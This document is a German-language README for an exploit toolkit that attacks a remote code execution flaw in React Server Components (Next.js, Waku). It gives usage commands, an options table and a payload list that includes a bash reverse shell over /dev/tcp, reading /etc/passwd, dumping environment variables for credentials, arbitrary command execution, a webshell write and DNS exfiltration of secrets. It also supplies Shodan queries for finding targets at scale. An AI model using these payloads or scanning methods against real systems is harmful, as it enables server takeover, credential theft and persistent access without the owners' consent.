
Fortschrittliches RCE-Ausnutzungstoolkit für Schwachstellen in React Server Components. Bietet mehrere vorgefertigte Payloads, Shodan-Integration zur Zielermittlung und Massenscans für autorisierte Penetrationstests.
Fortschrittliches Exploitation-Toolkit für Remote-Code-Ausführung-Schwachstellen in React Server Components
Nur für autorisierte Penetrationstests und Sicherheitsforschung
Funktionen • Installation • Nutzung • Shodan-Integration • Beispiele • Haftungsausschluss
Dieses Toolkit nutzt eine kritische Remote Code Execution (RCE)-Schwachstelle in React Server Components (RSC)-Implementierungen aus, die insbesondere Folgendes angreift:
Die Schwachstelle nutzt Prototype Pollution und unsicheres Deserialisieren im Datenhandhabungsmechanismus von RSC, um eine beliebige Codeausführung auf dem Server zu erreichen.
React Server Components verwenden ein benutzerdefiniertes Serialisierungsformat, um Daten zwischen Client und Server zu übertragen. Die Schwachstelle besteht darin, wie diese Frameworks speziell präparierte Payloads deserialisieren und verarbeiten.
Angriffskette:
$X:constructor:constructor zum Zugriff auf den Function-Konstruktor_prefix-FeldAttacker → Malicious RSC Payload → Target Server
↓
Unsafe Deserialization
↓
Prototype Chain Access
↓
Function Constructor
↓
⚠️ RCE ACHIEVED ⚠️
| Payload | Beschreibung | Anwendungsfall |
|---|---|---|
console | Basis-PoC (console.log) | Schwachstelle verifizieren |
reverseShell | Bash-Reverse-Shell | Erster Zugriff |
readFile | /etc/passwd lesen | Dateisystemzugriff |
envDump | Umgebungsvariablen ausgeben | Credential-Extraktion |
execCommand | Systembefehle ausführen | Beliebige Befehlsausführung |
webshell | Express-Webshell bereitstellen | Dauerhafter Zugriff |
exfilPackage | package.json exfiltrieren | Abhängigkeitsanalyse |
dnsExfil | DNS-Exfiltration (OOB) | Blind-Exploitation |
git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit
npm install
# or
yarn install
# Install Shodan CLI
pip install shodan
# Initialize with your API key
shodan init YOUR_API_KEY
node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console
# Start listener
nc -lvnp 4444
# Execute exploit
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload reverseShell \
--lhost 10.10.14.5 \
--lport 4444
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload execCommand \
--command "whoami"
node rsc-rce-exploit.js [options]
| Option | Beschreibung | Erforderlich |
|---|---|---|
--target <url> | Ziel-URL | ✅ |
--framework <name> | Framework: next oder waku | ❌ (Standard: next) |
--payload <name> | Payload-Name (siehe unten) | ✅* |
--custom <code> | Benutzerdefinierter JavaScript-Code | ✅* |
--lhost <ip> | Ihre IP (für Reverse-Shell) | ❌ |
--lport <port> | Ihr Port (für Reverse-Shell) | ❌ |
--command <cmd> | Auszuführender Befehl | ❌ |
--endpoint <path> | Benutzerdefinierter RSC-Endpunkt (Waku) | ❌ |
--action-id <id> | Benutzerdefinierte next-action-ID | ❌ |
--list | Verfügbare Payloads auflisten | ❌ |
--verbose | Ausführliche Ausgabe | ❌ |
--help | Hilfe anzeigen | ❌ |
*Entweder --payload oder --custom ist erforderlich
Alle Payloads anzeigen:
node rsc-rce-exploit.js --list
Ausgabe:
📋 Available payloads:
console - Basic PoC - Console output
Code: console.log(7*7+1)
reverseShell - Reverse shell (bash)
Code: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')
readFile - Read /etc/passwd
Code: console.log(require('fs').readFileSync('/etc/passwd','utf8'))
envDump - Dump environment variables
Code: console.log(JSON.stringify(process.env,null,2))
execCommand - Execute system command
Code: console.log(require('child_process').execSync('COMMAND').toString())
webshell - Write webshell to /tmp
Code: require('fs').writeFileSync('/tmp/shell.js','...')
exfilPackage - Read package.json
Code: console.log(require('fs').readFileSync('./package.json','utf8'))
dnsExfil - DNS exfiltration
Code: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)
Beliebigen JavaScript-Code ausführen:
node rsc-rce-exploit.js \
--target http://target.com \
--custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"
# Basic Next.js
http.component:"Next.js"
# Next.js with RSC
http.html:"__next" http.html:"RSC"
# Next.js dev mode (more vulnerable)
http.html:"__NEXT_DATA__" http.html:"development"